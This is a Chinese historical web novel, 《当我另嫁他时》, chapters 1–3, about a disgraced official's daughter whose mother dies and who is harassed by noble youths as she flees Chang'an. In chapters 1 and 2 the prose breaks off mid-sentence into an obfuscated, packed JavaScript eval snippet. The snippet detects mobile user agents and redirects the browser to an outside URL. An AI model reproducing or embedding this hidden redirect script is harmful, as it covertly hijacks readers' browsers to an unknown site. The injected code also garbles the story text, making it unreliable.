《当我另嫁他时》 1. 第 1 章 建元五年,二月己酉日,大雨。 宣平门后街最偏僻的一进小院里,因地势较低,院中已聚起小水坑,墙角的夯土未压严实,已被雨水冲出一块缺角,黄泥污水混作一团。 这是间朝南的小院,插在两间高大的土屋后面,整日不见光亮,院中两间房屋相邻,左侧搭了个矮棚,里头是用黄泥垒起的灶台。 里屋也与外院一般简陋,墙面只简单用了些麦桔黄泥糊了一圈,不少地方墙皮已经开始脱落。 除窗户旁的矮脚木案外,唯一的家具只有靠里间的一张松木矮榻,说是矮榻,实则不过是在地上垒起楼梯高度左右的硬木床。 松木榻上,躺着一位气息孱弱的病妇人,虽面容消瘦,依稀能见其眉目间秀丽,五官精巧。妇人垂在一侧的手掌指腹白皙,肌肤光滑,与这间简陋的夯土房格格不入。 窗户未曾掩好,斜落的细雨熄灭烛台,屋内昏暗一片。榻上的妇人抬起手在空中摸索半响,口中微弱的呼唤:“徽音……徽音……” 久久无人应声。 —— “快滚快滚,将作少府大人的官邸也是你能随意登门的!” 颜府的门房无情的驱赶门前瘦弱的少女,他鼻孔抬得高高的,像府上大人往常看他的眼神一样斜着那浑身湿透的少女。 少女软语相求道:“我是宋渭之女宋徽音,有要事求见颜大人,劳你帮忙通报一声。” 门房噗嗤笑了两声,语气怪异:“宋徽音?就是那个落毛的凤凰?” 他来了兴趣,凑近少女跟前,趁其不备一把揭开她的斗笠。天色虽暗,但颜府富贵,门前绢纱行灯连成一片,将面前少女的面容照得一清二楚。 她打扮俭朴,一身苎麻素色窄袖襦裙,腰间束着深褐宽带,深色下摆已然打湿,沉甸甸的贴在她腿侧,整个人狼狈不堪。 但那双眼却明亮如星,眉眼如山水画,她微微仰着头,脸颊饱满,因着门房突如其来的冒犯眉间微微蹙起,精致的五官如同精细雕琢那般,容色清丽无双。 门房看呆了眼,情不自禁的想要上前一步。就在这时,门后传来一声低低的清咳,他回望后瞬间清醒,害怕的低下头退回府内。 门后绣着金线的玄深色长袍若隐若现,朱红色的大门紧扣在徽音眼前,不留一丝缝隙。 徽音扑上去拍打,“颜伯父,我阿母身患重病无药医治,求您看在我父亲的面上施以援手!求您了!” 只是不论她如何拍打呼唤,门后依旧一片死寂,只有漫天雨声回应。 徽音脱力的跪坐在颜府门前,颜府是她今日上门求救的第五家,也是吃的第五次闭门羹。自阿父离世,宋府倒台后,往日簇拥的亲朋好友皆冷漠旁观,不肯援助。 她低下头自嘲的笑笑,世态炎凉,早该明白的。徽音拖着疲惫的身子起身,阿母还在等着她,她不能停下。 “阿姊!”雨中冲出一个身披蓑衣的少年,他浑身湿透,身手敏捷,没两步就跃到徽音跟前。 少年面容稚嫩,眉眼清秀尚未长开,身量约莫七尺,与徽音差不多高,劲腰长臂,看得出有武艺傍身。 宋景川一把抹开脸上的雨珠,语速极快:“我去了太常寺张大人府中,他都没叫人给我开门!这该死的老匹夫,往日求阿父帮忙的时候他可不是这嘴脸!” 徽音的心坠到谷底,喃喃道:“今时不同往日。” 她掐着手心强迫自己镇定下来,抬眼看着宋景川,交代道:“你我出来已经有些时辰,我担忧阿母,你先回去照顾她。” “我再去一趟苏府。” 徽音捡起被打落在地上的斗笠,撑着雨具走进雨幕,漫天风雨下,她一人踽踽独行。雨具在这样的大雨下也失了作用,春日严寒,冷得刺骨。 —— 宋景川自幼习武,脚程极快,不过半个时辰就赶回家中。他进院时发现屋内一片漆黑,借着不甚明亮的月光翻找出陶灯点亮,这才看清屋内已是混乱一片。 他们出门时忘记关好窗户,暴雨溅进屋内打湿墙角案桌,宋景川关好窗户,转身朝帷幔后的内榻上看去,宋夫人已倒在榻上不省人事。 他忙跪在榻前,焦急呼唤:“阿母!阿母!” 宋夫人眼皮微微掀开,眼前模糊一片,只看得到一个黑影,她抬起手摸索着,“景川……是你吗?” “是孩儿,您感觉怎么样?”宋景握住宋夫人手掌,半跪在地上。 宋夫人身体突然弓起,伏在榻上撕心裂肺咳嗽一阵,宋景川见状连忙替她疏通背脊。 宋夫人捂着胸口艰难道:“你阿姊呢?” “阿姊去了苏家。”宋景川如是答道,起身想去倒碗水,却被宋夫人突然捉住。 只见宋夫人突然来了气力,双目突起,胸膛起伏,抓着他的手臂喊道:“不能去……叫她回来!” 下一瞬,她彷佛被抽干了力气,身体无力的倒在榻上,如同一条搁浅的鱼艰难的喘气,“不能去……快去将你阿姊叫回来,快去……” 宋景川顿时被她吓住,一时间满头大汗,又不敢抛下宋夫人出门,只好握住的手不停的宽慰。 苏府,当朝廷尉大人的府邸,也是徽音闺中好友苏静好的家。她等在前堂会客的暖阁室内,室内侍立的婢女发式统一绾在脑后,皆着青褐麻布曲裾,低眉敛目,寂静无声。 正前方摆着一架流云纹漆木屏风,屏风前方放着一件檀木漆案,两侧坐垫皆用织金锦缎做席。 阁中央是座镂空的方形炭炉,正烧着上好的银丝炭,将室内熏的氤氲暖意,角落里六盏连枝烛台将阁室照的明亮如白昼。 徽音垂眸,她来过苏府几次,却是第一次知晓苏府奢靡至此,脚下湿透的麻葛袜在深色的木质地板上印出水痕,裙摆处滴落的水珠聚起小洼水坑,与这奢靡华贵的屋子格格不入。 徽音自觉的退到门口,拧干身上的衣裙,堂口吹来一道风,她冷得打起寒颤。 外头劈起一道惊雷,老天爷似乎发了怒,这场雨从三日前下到现在,连昆明池的水位都高了不少。 不多时,苏静好柔和的嗓音传来:“徽音。” 徽音抬眼看去,许是在家中,苏静好只穿了件简便的宽袖皂色襦裙,头发随意的挽成椎髻垂在脑后,无一只钗环装饰,但胸前挂着那颗绿松石项链昭示着她身份的不凡。 苏静好脸型圆润,眼角细长微微上挑,琼鼻小巧精致,五官浑然天成,神态沉稳。如同一株尚未盛开的白莲,娴静文雅。 双手交叠于腹,面上是恰到好处的微笑,缓缓行来,腰间坠着的压衣玉珏无声无息,一举一动,堪称世家贵女典范。 徽音收回视线,膝盖微屈,双手拢于胸前,俯身以额触手。 “徽音,快起来,你我姐妹为何如此见外。”苏静好娇嗔的扶起徽音,眼底带笑。 徽音望着她眼底的关怀,心中五味杂陈,她低头掩住神色,“我如今庶民之身,自然要拜的。” “你要与我计较这些,我可要生气的。” 苏静好握住徽音的手臂,手下触到一片湿润,她皱起眉头,捻着徽音的衣袖问:“你怎地浑身湿透?” 她转头望着一旁侍立的婢女,声音柔和:“去备香汤和衣裙。” 婢女们齐声称“诺”,动作整齐的退出暖阁。 徽音拉住苏静好的手臂,轻轻摇头,“不必麻烦,静好,我今日上门是” “不用说了。” 苏静好招手唤来一名细麻长裙婢女,低声吩咐两句。 半响,那婢女端着漆红色的木盘上前,里头摆着八块金饼,底部呈椭圆形,凹面,形如马蹄,上部隆起。 她拉着徽音跽坐在旁侧的织金锦席上,抚着她冰凉的手,温暖的掌心暂时驱逐了徽音身上的寒意,“你叫人给我递个话就是,怎么冒着大雨自己来了。” 徽音眼底涌上热意,这些时日见惯了世人的冷待,此刻被好友温柔关怀,情绪不免有些失控。 她低头擦去泪珠,强忍难受的扯出一抹笑意,“谢谢你静好,我得……走了。” 徽音起身取了一块马蹄金印收在袖笼里,将要踏出门时被苏静好唤住,苏静好取过婢女手中的茜色对襟披风,裹在徽音身上,温柔中带着毋庸置疑,“外面下着大雨,我替你备车,总比你走快。” 徽音胡乱点头,依依不舍的和苏静好告别,跟着苏府的婢女走到到侧门处。苏府门前地基夯台有八尺高,落下的雨滴在地上汇聚成大片脏水,徽音等不急婢女去取脚踏,抬手遮住脸,一头冲进暴雨里。 等抓完药,再回到后街时已经是亥初时分,雨势渐小,徽音下车向马夫道谢,提着裙摆奔进屋内,“阿母,我回来了!” 屋内的宋景川听见动静一个箭步冲到门口,他眼角还挂着残泪,悲戚的望着徽音,声音哽咽:“阿姊,你终于回来了,阿母她不行了!” 徽音顿时腿软打晃,推开宋景川疾步进屋,屋子里一片死寂。她停在帷幔外,不敢向前一步,拧着药包的手臂不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315275|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的颤抖。 内室的宋夫人听见动静气若游丝道:“是徽音回来了吗?” 徽音再也忍不住,掀开垂下的帷幔冲进去,屋内视线昏暗,只有床榻前燃着一盏陶灯。 她跪在宋夫人榻前,捧着药包安慰宋夫人,“阿母,吃了药就能好了。” 宋夫人却不肯再服药,她抬手摸着徽音的脸摇摇头,“我不成了,不必废这个银钱。” 徽音留着泪摇头,“不……这是太医令开的药,肯定会有用的,我这就去煎药。” 宋夫人孱弱的拉住她,苦笑片刻道:“不必折腾了。”她视线越过徽音看向站在后方的默默垂泪的宋景川,招手将他唤到榻前。 宋夫人艰难的支起身,她将姐弟二人的手握在一处,交代后事,“我死后,将我和你们父亲葬在一处,之后......你们就离开长安,回祖籍荆州,不要再回来了。” 她咳嗽两声,张开口鼻大口呼吸,徽音伸手替她抚胸顺气,宋夫人惨然一笑,“徽音,答应我,不要再追查你阿父的案子了。” 徽音长睫蓄泪,“阿父是冤枉的。” 宋夫人泣道:“我知,你阿父是什么样的人我比任何人都清楚,可你如今……斗不过他们的。” 她缓过一口气继续道:“你在我榻前发誓,绝不再追查此事!” 徽音僵在原地,垂头不语。 宋夫人见状猛然咳嗽一阵,面色青紫,指着她说不出话。宋景川无措的望着徽音,偷偷触碰她的手臂示意她说话。 徽音含着泪,稽首在地,伏趴在地上看不清神色,“儿答应阿母,再不追查此事。” 得了她的承诺,宋夫人松了口气倒在榻上,仰着头叮嘱:“往后,宋家就只剩你们二人,你们一定要互相扶持,好好活着,将你阿父这支血脉传承下去……” “阿母,莫再说了……你一定会好的。”徽音匍匐在她跟前,胸腔处似乎被堵住,叫她难以发声。 宋夫人呼吸越发急促,眼神逐渐涣散,在她生命最后的尽头,摸着女儿的手安慰道:“好孩子,莫哭……莫哭,阿母无事。” 她手缓缓抬至徽音脸上摩挲,“让阿母再看看你罢。” 徽音抬起泣泪的脸,举着一旁的油灯凑近脸颊,看着宋夫人含笑满足的脸庞,心如刀割。 “阿母……”徽音呢喃出声。 “愿我儿长乐未央……” 灯芯跳跃两下,陶盏里的灯陶盏里的灯油也燃烧殆尽,不知哪里来的一道风,吹灭陶灯。刹那间,室内昏沉幽暗。 宋夫人的手掌渐渐脱力,垂在一侧。徽音静静地看着宋夫人缓缓阖眼,了无生息。 与一旁嚎啕大哭的宋景川不同,她只是呆愣的坐在原地,紧握住宋夫人垂落的手掌,似乎这样就能挽留宋夫人的离去。 宋夫人离去后,下了三日的雨渐渐停息。细碎的风声伴着宋景川的呜咽声传进徽音耳里,湿透的衣裙也开始渐渐发冷,厚重黏腻的裹着她,叫人喘不过气来。 徽音慢慢直起身,续上灯油点亮烛台,腿部因长久的跪姿发麻不堪。她动作停顿片刻,抬手细心的打理宋夫人的遗容。 宋夫人去的很安详,相比于往日病痛的折磨,今日也许是她这些时日最舒适的一日。 她整理好宋夫人的衣襟,目光落在她瘦骨嶙峋的肩胛处,干涩的眼眶隐隐作痛。后知后觉的反应过来,阿母去了,她再也没有母亲了。 宋景川向前匍匐两步,将徽音揽在怀中无声安慰。二人凄然的望着榻上离去的宋夫人,哭声交织。 宋夫人原名颜婥,荆州宛县乡绅之后,十七岁嫁给同县宋氏族人宋渭,后因宋渭才名远播被征辟入仕,随他到长安定居。 她娘胎中带有弱症,生宋景川时又产后血崩,此后身体一直不大好,依靠补药养身。 一月前,都尉孙蠡贪污幽州军需,被御史袁秩告破,陛下下旨命廷尉调查。 孙蠡下狱后却突然供出是受御史大夫宋渭指使他贪污,并拿出宋渭给他通信帛书,上头还有宋渭的私人印章为证。告发不久后,孙蠡就在狱中自尽身亡。 宋渭被停职拘入廷尉调查,袁秩等人联合兰台御史上书要求重惩宋渭,事发五日后,宋渭于狱中自裁认罪,留下一封认罪书。 自此,红极一时的宋氏轰然倒塌,陛下怜宋渭多年为官劳苦功高,下旨赦免其家眷罪责,只罚没家产充公。 树倒猢狲散,不过一月,宋夫人的身体便迅速衰败下去,油尽灯枯。 2. 第 2 章 平旦时分,已是春耕之时,长安郊外不少农户已经起身开始农忙,小院的门被人敲响。 刚刚趴在榻前浅眠过去的徽音被这声音惊醒,她撑着半边发麻的身体跪坐起来,只觉得脑内混沌不堪。 宋夫人安详的躺在榻上,脸上盖着白布,宋景川蜷缩在她脚边熟睡,徽音取过一旁的掉落的被衾覆在他的身上。 初春时节,寒气未散,屋中火塘不知何时熄灭,徽音点燃陶灯,起身将右侧橱下的柴草秸秆抱出来点燃,火塘燃起,驱散一室寒意。 天带着一丝蒙蒙亮,徽音裹着厚厚的粗麻外衣出了门,院子里无灯,她摸索着打开木门,门外立着一张熟悉的面庞,是她的乳母颜娘。 宋府落败后,徽音还了颜娘自由身,将身契交给她让其离开。颜娘却不愿意,她本是长安东郊村落的农女,及笄之后由父亲做主嫁给邻村的的农户。 那汉子是个贪懒爱赌的,不过三年就将家当输个精光,连刚出生的女儿也被活生生饿死,她冷了心肠没了活路,幸得宋夫人路过,将她救下,又将她指给徽音做傅母。 月前宋家败落,她带着身契匆匆去往县延消了奴籍,又匆匆赶回长安。 颜娘一身粗布短打,圆脸厚唇,头发用巾帻严严实实裹在脑后,身形矮胖。 她一副风尘仆仆的模样,肩上还挽着一个布包,人却精神炯炯。一见徽音面上就带起笑容,“女郎,奴回来了。” 徽音一夜未眠,此刻眼下青黑一片,紧绷的心情在看见颜娘的这一刻松懈下来,她强忍着胸口的酸涩,“傅母……阿母她……昨夜去了。” 颜娘笑容僵在脸上,肩上的布包坠地,发出“啪嗒”的声响,她手无措的伸出又收回,只能看着徽音的泪光艰难安慰:“女郎,节哀。” 徽音侧开身,带着她进入屋内,宋景川已经醒了,立在桌前望着二人,眼底还泛着红血丝。 颜娘扑到榻前,宋夫人已经浑身冰凉,她掀起白布看了一眼,心中大恸,捶着胸口流泪,“夫人,您怎么不等等奴就走了啊!” 哭声一出,徽音和宋景川也忍不住,跪在颜娘身侧垂泪。颜娘哭了一会后,抹干眼泪,跪在地上对着宋夫人的尸身恭恭敬敬的磕了三个头。 “夫人,您放心去吧,奴一定会照顾好和女郎和小郎君,您在天之灵一定要保佑他们,逢凶化吉。” 颜娘转身询问徽音二人,“女郎,小郎君,夫人的身后事如何办?” 徽音麻木的接话,“阿母留有遗言,让我们把她和阿父葬在一处。” 颜娘神色哀痛,“南山是个好地方,山清水秀无人打扰。” —— 晨鼓一响,徽音便用身上的余钱购置了一套松木棺墩,又扯了两匹白布简单的做了三身丧服,租了辆辎车,带着宋景川和颜娘扶棺出门,一路朝南山行去。 宣平门这处的街道要比旁处略小些,约莫宽八丈,用黄土压得严严实实,两侧挖着暗渠,雨后方过,正涓涓排着污水。 这处近郊,多是庶民农户出行,道路上并未有太多官吏车马行过。两侧小食贩子的木板车已安置好,商贩已经扯着嗓子开始吆喝,多是短打褐衣的男子,却也不乏头巾包布的女娘忙活其中。 自南朝初立以来,因着战乱人丁不息,太祖登基后颁布诏令,鼓励寡妇再嫁,兴添人丁,世道于女子并不多加缚束。 今日的后街异常沸腾,木制告示板前里三层外三层的围满了人群,热火朝天的议论钻进徽音等人耳中。 “长安令告民:东瓯反叛,卫将军裴彧率两万精兵迎战,破敌五万,大捷!扬我国威,与民同庆,赐民酺五日!” “这裴彧是何许人?” “这位来历可不小,乃是当今皇后内侄,太子殿下的表兄,自幼在陛下跟前长大,连几位皇子都没他受宠。” “他出身如此尊贵,怎的还领兵出征?” 老张头抚着几根稀疏的胡须,故作高深道:“大司马用兵如神,他的儿子自然也不逊色。五年前大司马战死于匈奴人之手,他就离京奔赴代郡接任裴家军,建元二年,越焉支山斩杀匈奴厍兰王,歼敌万余,此一战响彻三军。” “轻骑奔袭,深入敌腹,当世奇才也。” 老张头摸着锃亮的脑门嘿嘿一笑,他想起五年前长安城内鲜衣怒马的少年郎,出身尊贵,容貌俊美。 长年累月的能瞧着他率领一众锦衣华服的少年打马出城狩猎,马鞭甩的呼呼作响,带回满载而归的猎物。路过他摊子时那少年还会勒马停下,大声扬笑让他包几个胡饼扔过去。 五年,物是人非,不知少年是否一如往昔。 老张头回过神,揽着身侧的胡须髯的汉子,“走走走,去喝两杯,我请客。” 这泼天的热闹与徽音三人的凄苦贫困截然不同,三人逆着人群,运棺出城。 雨后的泥地里泛着难闻的土腥味,道路也难行,一路上都是深一脚浅一脚稀泥路,板车也常陷在泥里。 宋家落败的太快,宋渭的尸身也只是草草收敛一二,立了一个小小的坟包。三人合力将宋夫人与宋渭葬在一处,立了块木板写着“亡父母宋公之墓,子徽音景川立。” 徽音三人才刚回到小院,门口便迎来一群不速之客。为首的男子头戴长冠,眼似绿豆,身形稍胖,身上的丝绸长袍做工精致,他带着几个奴仆闯进小院中。 进了院子里,他先是四处打量一阵,目光在触及墙脚的柴堆和院中未排干净的黄泥污水后露出一抹嫌恶。他脚下撵着泥地,言语间满是嫌弃,“这什么破地方!” 听见动静的宋景川出门察看,皱着眉询问,“张勋,你怎么在这?” 张勋嫌弃的目光在看见宋景川后转变,他双手环抱于胸前,神色轻佻,“宋景川,你还真在这,那你阿姊就在屋内?” 宋景川一见他满脸的□□就明白一切,他阿姊容颜绝色,阿父还在世时,就有风声传出她阿姊是内定的太子妃。 彼时阿姊身份尊贵,这些纨绔子弟不敢冒犯,如今宋家落败,这群人便迫不及待的上门欺辱。 宋景川冷哼一声,上前想要逼退众人,“这里是我家,不欢迎你,赶紧走!” “宋景川,你还当自己是从前的那个宋公子啊!”张勋嘿嘿笑了两声,眼里划过一抹得意,他退后两步,张开手吩咐奴仆一拥而上,“给我把他捆住!” “你们敢!”宋景川怒喝一声,三步作两步冲上前,一脚踢开最前方的奴仆,紧紧攥住张勋的衣领,怒瞪着他。 张家的奴仆见状将两人团团围住,举起手中的木棍狠狠击打在宋景川背脊。再要动手时却被宋景川猛然回头盯住,被他眼底的凶戾镇住,不敢上前一步。 一道清冷的声线打破几人僵持,众人回头望去,屋后绕出来一个妙龄少女。少女肌肤胜雪一身孝服,头发松松的挽在身侧,耳鬓处别着一朵绢质白花。 似乎是受了风寒,她抬手掩在嘴角处轻轻咳嗽,其目泠泠若深涧之映素辉,视之令人心凛。 “我朝律令,无故入他人住宅,可当场格杀之。张勋,你无故上门寻衅滋事,是要罔顾律法吗?” 徽音冷冷的注视一群不速之客,她淋了场大雨,悲痛之下又一夜未睡,此刻感觉头昏脑胀,颇有些站不住。 张勋眼见正主出来,抬手示意奴仆退下,他整理下衣襟迈步上前,抬手抚在宋景川的肩侧,却被他一脸嫌恶的撇开。 张勋也不在意的摆摆袖,望着徽音拱手道:“女郎安好否?昔日旧友上门探望,怎么能说是滋事呢?” 徽音扶住木门,唇色苍白,“家有丧事不便待客,请回吧。” “宋徽音,你已经不再长安贵女之首,何必再摆架子,”张勋视线从徽音脸上掠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315276|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,落在她窈窕的身姿上,目光带着淫邪,“不如随我回去做我的姬妾,好歹能保住荣华富贵。” “我呸!”宋景川斜了眼张勋,退到徽音身前,挡住张勋放肆的眼神,怒骂,“你个癞蛤蟆还想吃天鹅肉,趁早死了这条心!” 张勋冷哼一声,无视宋景川的怒骂,只一心盯着徽音,视线在她身上来回扫视。 徽音却没再给他一个眼神,转身进屋。张勋被彻底无视,他恼羞成怒的指着徽音的背影辱骂:“你装什么,迟早有一天,老子要将你压在身下……” 哗啦—— 迎面扑来一盆污水,脏臭味扑面而来,淋湿张勋全身,连他口鼻中都呛进不少。张勋连连退后两步,被身后的奴仆扶住才堪堪站稳身形,他一把抹去面上的污水,怒吼道:“谁!” 颜娘端着木盆站在门口,怒瞪着张勋,“满口污言秽语,老妇替你漱漱口!” 张勋怒火中烧,捡起地上的木棍就要冲上前。他身形笨重,与劲瘦蜂腰的宋景川形成对比。 眨眼间,手中的木棍已被宋景川手持柴刀斩断,他抬头望去,只见宋景川举起柴刀回头恶狠狠的盯着他,清秀的脸上满是嫌恶,“再不滚,我就砍了你的脑袋。” “你……你们……给我等着!” 张勋扔掉手中半截木棍后退,浑身气得发颤,转身看见身后畏畏缩缩的奴仆,气得一人给了一耳刮子,扔下一句咒骂灰溜溜的离开。 颜娘带着气回到屋内,她看见徽音跪坐在火塘边的蒲草团上,手下叠着衣物,周身气质宁静。 她放下木盆缓缓坐过去,抚着徽音单薄的背脊宽慰,“女郎莫要将那起子浑人的话放在嘴边。” 徽音摇摇头,她倒不是因为这个,“长安贵人太多,今日之事有一便会有二,不能久待。” 颜娘叹着气接过徽音手中的活,“等夫人头七过了,我们就离开长安罢。” 徽音望着天色,原本还晴朗的天空此刻被乌云蔽日,大有前几日大雨来临前的征兆,她胸口突然砰砰的跳起来,带来一阵心慌。 她起身将在外劈柴的宋景川叫进来,“不能留了,今日收拾好东西,明日就回荆州。” 宋景川面露茫然,低头看了眼跪坐在地上的颜娘,颜娘放下衣物朝他摇摇头,示意自己不清楚。 他又转头看向徽音,“阿姊,怎么也得等阿母头七过了再走吧。” 徽音喉间钻起痒意,她压下咳意,面露忧虑:“张勋为人睚眦必报,他父亲又是太常寺大人,如今他在上我们在下,他若是要做些什么我们根本无力阻止。何况长安风起云涌,旧人太多,我担心,再不走就走不了。” 宋景川见徽音心意已定,也没再说什么,闷头去收拾行礼。 徽音跪坐在矮脚案前,翻出一片带着毛刺的竹简,提笔书写,方正的隶书显现,字形宽扁,左右舒展。 颜娘凑过去辨认,只依稀认得几个字,什么“田地”“张”等字样。 须臾,徽音放下细管竹笔,将竹简放在火塘边烤干,颜娘拿起一旁的弧形铁勾翻弄火塘,让炭火均匀燃烧,暖意扑面而来。 宋景川也跟着凑过来,眼中带着疑虑。 “阿姊,这是什么?” 徽音嘴角上扬,只是那笑意不达眼底,“张勋方才打了你一棍,走前我送他一份礼。” 颜娘起身,将窗台晾好的汤药递给徽音,“既要远行,奴去买些干粮备着。” 徽音点点头,捧着陶碗一饮而尽,苦涩在她口腔中肆意蔓延,她面上表情却分毫未变。颜娘心中异常不好受,从前女郎最怕苦,吃药必要配着蜜饯才能咽下。 她悄悄背过手去抹泪,徽音看清她的动作,安慰道:“我无事,这药不苦。” 颜娘连忙应答一声,不敢抬头再望,提着竹编篮出了院。 药不苦,心苦。 3. 第 3 章 寅时三刻,朔望朝。 长安古朴的城墙上雾气未散,威仪的未央宫隐在夜色中。数辆轻便玄色轺车行驶在笔直的官道上,缓缓停在司马门前。 司马门前灯火通明,肃穆的卫兵身披羽甲,手持长戟,自司马门前排至未央宫前殿玉阶。 卯时鼓鸣声响,候立的官员列队向着南朝最巍峨的宫殿行去。 “陛下升殿!”黄门侍郎高声唱道。 众官员起身跪下,齐声吟诵:“臣等恭迎陛下。” 宣帝头带十二旒冕冠,上着章纹玄衣,下着朱色下裳,步履沉稳的走上大殿落坐,“众卿平身。” 待众人重新落坐完毕后,太尉董延年持玉笏而出,“陛下,卫将军裴彧已收复东瓯,明日便会抵达长安。” 宣帝额前垂下的十二旒冕冠串微微摇晃,他欣然道:“大善!待卫将军回京,朕要好好为他庆功。” 太子太傅弥横持象笏而出:“陛下,臣启奏,太子奉陛下命巡视冀州完毕,正在回京的途中。” 宣帝颚首,“太子此次巡视州县做的不错,近年频繁灾害,朕打算兴建禅台祭祀,待太子回京,此事便交由太子。” 听闻此话,下侧跪坐的吴王面色不佳,跪坐在他右侧的平阳侯飞快给他递了个眼神,示意他不要当众情绪外露。 待三公九卿重臣们奏话完毕,殿尾后一头戴梁冠,双眼细长的侍御史手持木笏出列,“下臣弹劾太常寺张秉烛之子侵占农田数十亩,出卖土地营私利,证据确凿,请陛下定夺!” 他自袖中取出叠好的帛书,恭敬的呈给黄门侍郎。 宣帝似笑非笑调侃道:“朕多次强调不可侵占百姓农田,看来有是有人将朕的话当作耳旁风。” 太常寺张秉烛面色如土,冷汗淋淋,无视周围打量的目光,起身跪到中央稽首,等待判决。 “交由廷尉按律处置。” 良久后,黄门侍郎再次高呼:“退朝。” 张秉烛擦着额上细汗,只来得同周围同僚点头告别,匆匆忙忙疾步到宫门口,吩咐僮仆迅速赶车回府。 而此时,张勋正召集府内会武的奴仆,筹集数十人准备出府寻徽音等人晦气。他心中暗自想着捉到徽音后要如何如何,满意的打量面前腱肉壮硕护卫,肉脸上带着恶意的笑容。 匍一挥手,大摇大摆的带着众人朝府外走去,正好撞上匆忙赶回的张秉烛,他一见儿子声势浩大的阵仗,嘴角的胡须翘得老高,弯腰脱下翘头鞋就朝张勋砸去。 “竖子!还不快快滚回府去,看你做的好事!” 张勋抱头痛呼:“阿父这是做何?” 张秉烛挥开僮仆的手臂,艰难跳下轺车,指着张勋鼻头气得说不出话,又看见身后身形健壮的侍卫,怒上心头吼道:“滚去祠堂跪着,家法伺候!” 说罢,不顾赶来的张夫人劝阻,命人强压着张勋到祠堂,将人捆在案板上重重苔了二十下,打得张勋哀嚎不绝,张夫人痛呼连连,张府鸡飞狗跳。 —— 长安城外的偏僻小道上,一辆笨重的马车行驶在黄土路上,车厢封闭老旧,四周铺青色帷帐,遮挡车厢尾部的箱笼行李。 转过山角,马车突然被人勒停,宋景川抬手往上拨弄斗笠,露出明亮的双眼,他握紧缰绳打量面前的不速之客,眉头紧琐。 数十个身着灰褐短襦,头戴布巾,腰佩横刀的青年部曲,骑在高头大马上,将去路围堵死。 他们身后绕出一匹红棕色的蒙古马,上首坐着一个织锦素袍少年,嘴角带笑,缓驾到路中央。 宋景川认出来人,原本还放松的手臂突然绷起,右手伸到腰后,握紧短匕。 “苏信,你要干什么?” 那名被称作苏信的少年得意的挥动手中的马鞭,示意身后的精锐部曲将青帐马车团团围住,他年纪看上去与宋景川一般大,面色阴柔,眼窝深陷,是个久经风月的浪荡子。 苏信紧紧盯着车厢,想起那人宛如神女般的面容,下腹升起一阵燥热。他视线移至宋景川面上,想起以往数十年被此人稳压一头的种种,不禁怒从心来,“落败之犬,也敢叫嚣,给我拿下!” 宋景川自幼习武,可到底是个不足十六的少年郎,在几名身材高大的部曲面前不过走了三招就被制住,双手被反剪在身后,身后的大掌紧困住他。只能眼睁睁看着苏信下了马,撩起车帘,将魔掌伸向他的阿姊。 宋景川奋力仰着头,脸颊憋得通红,用尽力气也无法挣脱身后的桎梏,只能用力吼叫企图阻止:“苏信!你给我住手!” 徽音坐在车厢内,这辆旧马车是用她们身上仅剩的余钱购置,车厢因尾部厚重的行李微微翘起,与她往日出行的漆绘云纹马车无法相提并论。 也是,月前她还是高高在上的宋公之女,出行锦缎铺地仆妇成群,如今却被堵在这偏僻小道,遭人羞辱。 她紧盯伸进车厢内的手掌,神色难看,苏信与张勋为人截然不同,她特意挑的偏僻小道,不曾想还是被人截住。 苏信,是苏静好同父异母的弟弟。 颜娘一把将徽音护在身后,抄起车内的木制漆盘,警惕的看着闯入者。手掌的主人似乎等不急一般,扯开摇摇欲坠的布帘,迫不及待的朝里看去。 美人发髻垂肩,不见一丝饰物。她不似以往那般身着绫罗锦衣,只穿了件湘色短襦长裙,粗麻布衣也不影响她美丽分毫,昏暗的车厢内熠熠生辉。 清水出芙蓉,天然去雕饰,这辆破烂马车也因她显得华美起来。苏信看呆了眼,情不自禁的伸手去捉车内的人。 面前黑影砸下,他被颜娘猝不及防的一盖头打得眼冒金星,捂着头惨叫后退两步,阴柔的面容变得可怖。 他自觉在佳人面前失了颜面,恨恨吩咐道:“将那女媪捉下来,我要砍了她的手!” 立时便上来两个部曲要将颜娘从车内拖下去。 徽音扑上去阻止,咬牙道:“苏信,论辈分我是你阿姊,也自问从前未曾得罪过你,为何非要紧追不舍,肆意羞辱!” 眼见美人出声问责,苏信连忙整理下衣冠,挥手将部曲赶下去,只见他眼神闪烁道:“徽音阿姊莫生气,我这就叫他们退下。” 他踏上前几步,徽音身上的暗香飘入鼻尖,一时间心神荡漾:“我自幼便仰慕阿姊,如今阿姊落难,信只是想帮帮你。” 徽音嫌恶的避开他肆意打量的目光,冷声道:“帮?你带人截住我的马车,使人制住我阿弟,还对我的傅母喊打喊杀,这是帮?” 她视线扫过被两个部曲摁在地上挣扎的宋景川,顿了顿,放轻话音:“你若是有事,细细道来便可,为何要动手?” 苏信见徽音态度转变,连连点头,示意那两人松开宋景川。他今日特意带足了人手,面前一个毛头小子,两个弱质女流,翻不出他的手掌心。 他轻声哄道:“徽音阿姊莫怕,我是怜惜你无处可去,这才追出城来。我在临都驿那边有一处宅院,你若不嫌弃,先随我去那边安顿下来可好?” 宋景川挣脱束缚拦在徽音面前,咬牙劝阻:“阿姊,这人不怀好意,不能信他!” 徽音见他并无受伤,松了口气,阿弟年纪尚小心性稚嫩,又遭逢家中巨变,满心愤慨无心思虑其他。 